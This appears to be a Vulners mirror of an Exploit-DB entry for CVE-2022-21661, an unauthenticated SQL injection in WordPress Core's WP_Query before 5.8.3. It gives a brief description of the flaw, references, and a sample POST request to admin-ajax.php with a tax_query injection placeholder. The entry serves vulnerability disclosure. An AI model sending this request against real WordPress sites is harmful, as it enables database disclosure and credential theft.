Lucene search
K

WordPress Core 5.8.2 - 'WP_Query' SQL Injection

🗓️ 13 Jan 2022 00:00:00Reported by Aryan ChehreghaniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1511 Views

WordPress 5.8.2 'WP_Query' SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress Core 5.8.2 - (WP_Query) SQL Injection Vulnerability
13 Jan 202200:00
zdt
GithubExploit
Exploit for SQL Injection in Wordpress
28 Jul 202213:12
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
27 Apr 202300:36
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
31 Jul 202211:53
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
24 Mar 202407:03
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
13 May 202506:20
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
8 Feb 202304:58
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
13 Jan 202313:31
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
4 Jan 202415:49
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
12 Nov 202413:23
githubexploit
Rows per page
# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Date: 11/01/2022
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases
# Version: < 5.8.3
# Tested on: Windows 10
# CVE : CVE-2022-21661

# [ VULNERABILITY DETAILS ] : 

#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ References ] : 

https://wordpress.org/news/category/releases
https://www.zerodayinitiative.com/advisories/ZDI-22-020
https://hackerone.com/reports/1378209

# [ Sample Request ] :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close 
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jan 2022 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 25
CVSS 3.17.5 - 8
EPSS0.90365
SSVC
1511